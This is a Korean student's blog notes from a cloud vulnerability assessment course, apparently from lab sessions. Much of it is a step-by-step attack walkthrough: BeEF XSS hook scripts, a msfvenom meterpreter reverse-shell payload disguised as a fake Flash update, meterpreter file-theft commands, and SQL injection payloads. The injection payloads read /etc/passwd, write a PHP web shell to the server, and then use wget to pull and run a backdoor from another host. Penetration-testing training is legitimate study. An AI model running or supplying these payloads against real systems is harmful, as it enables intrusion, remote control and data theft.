공부/클라우드기반 취약점 진단 및 대응 실무

10/18 클라우드기반 취약점 진단 및 대응 실무

마준123 2022. 10. 18. 09:38

 * https://app.any.run/ 

악성코드로 인해 EXCEL.EXE를 실행했을때 아래로 쭉 다른 프로그램이 실행되는 피해사례를 보여줌

파워쉘커맨드로 쭈르륵 실행되는 코드 ( 파워쉘은 윈도우에서 사용하는 최신판 cmd )

 

 

 

 * https://www.malware-traffic-analysis.net/ 

 = 여기도 좋은 샘플을 많이 얻을 수 있는 사이트 ( 2022 누르면 최신판이 많이 나온다 )

 = 다운받으면 비밀번호가 있는데 비밀번호는 infected (  malware와함께 비밀번호로 거의 보편적인 약속 )

 

 

 * 칼리에서 beef-xss 깔기

 = 다 깔리면 beef-xss 입력하기

 = 비밀번호 설정하기 ( 나는 1234로 설정했다 )

아이디 beef / 비밀번호 1234 ( 아까 설정한 것 )

 

 = 칼리의 아이피를 복사해서 스크립트를 만들고 게시판에 올린다.

 = <script scr="http://192.168.5.129:3000/hook.js"></script>

 = <script src="http://192.168.5.136:3000/hook.js"></script>

 

 = 게시판에 올린모습

 

 = 근데 크롬은 차단해서 익플로 다시 봤다.

 

 = 그러면 피해자가 창을 보고있는동안 칼리에서 정보를 탈취 할 수 있다.

 = Commands - Browser - Hooked Domain 

 

 = Create Alert 하면 피해자에게 알림창을 띄울 수 있다. ( 밑에도 다 비슷한 기능들 )

 

 

 

 * 해본 내용들

 = Create Prompt Dialog ( 내용을 입력하는 창 띄우기 )

 = Redirect Browser ( 다른 URL로 이동시키기 )

 = 구글 스니핑 ( 사회공학 )

 = 어도비 플래시 ( 사회공학 )

 

 * msfvenom

$  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.129 LPORT=5555 -f exe -o flash.exe

 

  * 새로운 터미널을 하나 연다

$sudo msfconsole

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.5.129
LHOST => 192.168.5.129
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.5.129:5555 

 

 = 이제 누군가 감염될 때까지 기다려보자

 

 

 * 그리고 아까 Flash.exe 만든곳으로 와서 ( 서버에 플래쉬 올리기 )

┌──(kali㉿kali)-[~]
└─$ sudo cp flash.exe /var/www/html         
                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ sudo service apache2 start
                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ cd /var/www/html          
                                                                                                                                                            
┌──(kali㉿kali)-[/var/www/html]
└─$ ls
flash.exe  index.html  index.nginx-debian.html

 

 

 

 

 

 

 = Fake Flash Update에서 image랑 custom을 수정해주기 ( 커스텀은 아까 올린 파일로 하면된다 )

 = 그리고 윈도우쪽 익스플로러에서 Fake에 당해서 설치하고 실행시키면 칼리쪽에 연결된다.

 

연결된 모습

 

-----------------------------------------------------------------------------------------------------------------------------------------------------------

 

 * 칼리 리눅스를 사용하는 이유

 = 원래는 무선 해킹을 위해서 백트랙 이라는 것을 사용하였다.

 = 노트북에 사용되는 무선 랜카드가 아무 패킷을 브로드 캐스팅 방식으로 수집을 해야함 ( 뭔소린지 모르겠음 ), (허브기반)

 =  요즘은 스위치 기반으로 특정 패킷만( 나에게 필요한 ) 것만 받아옴.

 =  요즘은 브로드 캐스팅 방식으로 하려면 특정 장치가 필요함 ( 15000짜리 무언가.. )

 = 예전엔 그때 당시에 저 장치를 잡아주는 os가 백트랙 뿐이어서 자주 사용했었다~

 = 그게 백트랙이 이름이 칼리로 바뀌었다.( 아닐수도, 내가 이해한건 이거임 ㅎ )

 = 요즘엔 칼리에있는 kisnet, reaver,wifite 를 사용한다고함

 

 * Osint

 = 오픈소스 인텔리전스

 = 

 

 * 메인도메인 : *.naver.com

 = 서브도메인 : music.

                         comic. 등등~

 

 * Penetraion Testion Standard Guide..  ( 모의해킹 스탠다드 가이드 )

 = Pentest 로 구글에 검색하면 잘 나옴 ( Penetration Testion이나 모의해킹 으로 검색하면 잘 안나온다고 함 )

 

 

 * 칼리의 많은 도구들

 = 많은 도구들을 설명해주셨는데 하나도 기억이 안난다...

 = 8,9,10 정도가 내부침투용 이라고 한거밖에....

 

 

 

 *  다시 Metapreter로 돌아와서

 = 명령어를 모르겠으면 help 를 쳐보자

 = 무언가 하고싶다면 아래 명령어를 입력해보자

meterpreter > search -f *.txt ( 모든txt 파일을 서치하는것 )

dir ( 파일보기 )

meterpreter > download wjwkd.JPG ( 특정 파일 가져오기 )

 = getuid ( 현재 접속된 권한 보기 )

 = user는 윈도우에서 높은 권한은 아니다. ( 사용자 > 관리자 > 시스템 )

 = screenshot ( 스샷 찍기 )

 = firefox /경로   ( 파일 열어서 사진보기 )

 

 = getsystem 을 사용하면 관리자 권한을 상승시킬 수 있지만 윈도우 10 에서는 안된다

 = use kiwi ( 관련된 모듈을 설치하는 도구 )

 = 권한 상승에 관한건 나중에 알려준다고 하신다.

 

--------------------------------------------------------------------------------------------------------------------

 

 * 게시판 검색에서 컬럼 갯수 알아보기

 = ' order by 1# ~ ' order by n# 까지 찾아보기

 = 25는 안되고 24까지 되는거 보니까 컬럼은 24개인거같다.

 

 

 

 *  버프스위터를 이용하기

 = 일단 같은걸 검색하고 프록시로 잡기

 =  우클릭 누르고 리피터로 보내기 누르기

 = 리피터 가서 이런 형태로 만들고 odrer+by 부분을 바꾸면서 바로 샌드샌드 하면 빨리 찾을 수 있다.

 

 * 샌드 투 인트루더

 

 

 = Attack Type : sniper ( 하나일때 )

먼 범프 : 여러개일때

 

 = 스타트 어택 ( 25부터 응답값 Length 가 확 낮아진 모습 )

 = 그래서 정답은 24개!

 

 = -111 ' UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#

 = 앞에 -111을 하면 다른거 다 빼고 이거만 나온다.

-111 ' UNION select 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#

-111 ' UNION select 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from information_schema.tables#   ( 테이블보기 )

-111 ' UNION select 1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from information_schema.columns#  ( 컬럼보기 )

 

---------------------------------------------------------------------------------------------------------------------------

 

 *  회원가입 - 우편번호 검색

-11' union all select 1,2,3,4,5,6,7#

-11' union all select 1,user(),3,4,5,6,7#

-11' union all select 1,user(),database(),4,5,6,7#

-11' union all select 1,user(),database(),4,5,6,7#

-11' union all select 1,@@version,3,4,5,6,7# ( SQL 버전 확인 )

 

 = 일단 우리는 root 권한 이니까 할 수 있는건 많다.

 

-11' union all select 1,load_file('/etc/passwd'),3,4,5,6,7#  ( 파일 읽기 , 리눅스의 cat과 비슷 )

-11' union all select 1,load_file('/etc/passwd'),3,4,5,6,7#

 

-11' union all select 1,"<?php system($_GET['cmd']); ?>",3,4,5,6,7 into outfile '/var/www/gm/upload/bbs/shell_majun.php' #   ( 앞에 부분을 뒷쪽에 파일에다가 만들어서 생성하는 코드 )

http://175.198.224.248:8888/gm/upload/bbs/shell_majun.php 에 파일이 생성되었을거다 가서 확인해보자.

너무 잘 만들어졌고

 

 =  주소 뒤에 ?cmd= 하고 쓰고싶은 리눅스명령어를 입력해보자

http://175.198.224.248:8888/gm/upload/bbs/shell_majun.php?cmd=ls -al 

유후~

 

웹쉘을 그니까 저렇게 해서 넣고

http://175.198.224.248:8888/gm/upload/bbs/shell_msb.php?cmd=wget http://192.168.126.130/a.elf 이걸로

백도어를 주입하고

http://175.198.224.248:8888/gm/upload/bbs/shell_msb.php?cmd=chmod777 ./a.elf

이걸로 모드를 바꾸고

http://175.198.224.248:8888/gm/upload/bbs/shell_msb.php?cmd=./a.elf

이걸로 가져온 백도어를 실행한다

이거죠?

( 순범님이 써주신 내용 )

 

 * Docker container

$ sudo apt update

$ sudo apt install docker.io 

$ sudo docker

sudo docker 쳤는데 이런식으로 나오면 잘된것.

 

------------------------------------------------------------------------------------------------------------------

 

 

도커컨테이너이해.pdf
4.96MB

 

 

 

 

 

* DevOps ( 데브옵스 )

 = 개발을 하는 과정에서 서비스별로 구분/분리

 = 서비스별로 개발이 완료되면, 융합...

 

 * 마이크로 서비스

 

 

$ sudo docker search nginx

 

 

https://hub.docker.com/ 

여기 들어가서 가입허자 ( 뭐하는곳인지 설명해줬는데 잘 못들음 )

nginx 다운로드
이미지 뭐있나 확인

 

우분투도 깔면 이미지에 생긴다.

 

이번에 해볼껀 run

$ sudo docker run -itd -p 8888:80 --name=webapp nginx 

 = 다운로드 받은 nginx라는 이미지를 webapp이라는 이름으로 실행을 할거야

 = -d를 넣으면 백그라운드에서 자동으로 실행됨 ( 안넣으면 로그가 보이지만 터미널을 끄면 서버도 같이 꺼짐! )

 = -p를 넣으면 컨테이너의 포트가 80포트라는 의미, 칼리의 포트 8888과 이어준다는 의미

 =  그래서 칼리 주소넣고 : 8888넣으면 웹서버가 나온다.

웹서버 나옴

 = $ sudo docker run -itd -p 8889:80 --name=webapp2 nginx 이런식으로 쓰면 하나 더 만들 수 있음.

 =  하나 더 생겨서 둘다 쓸 수 있다.

 =  같은 os에서 두개의 서버를 만들 수 있다.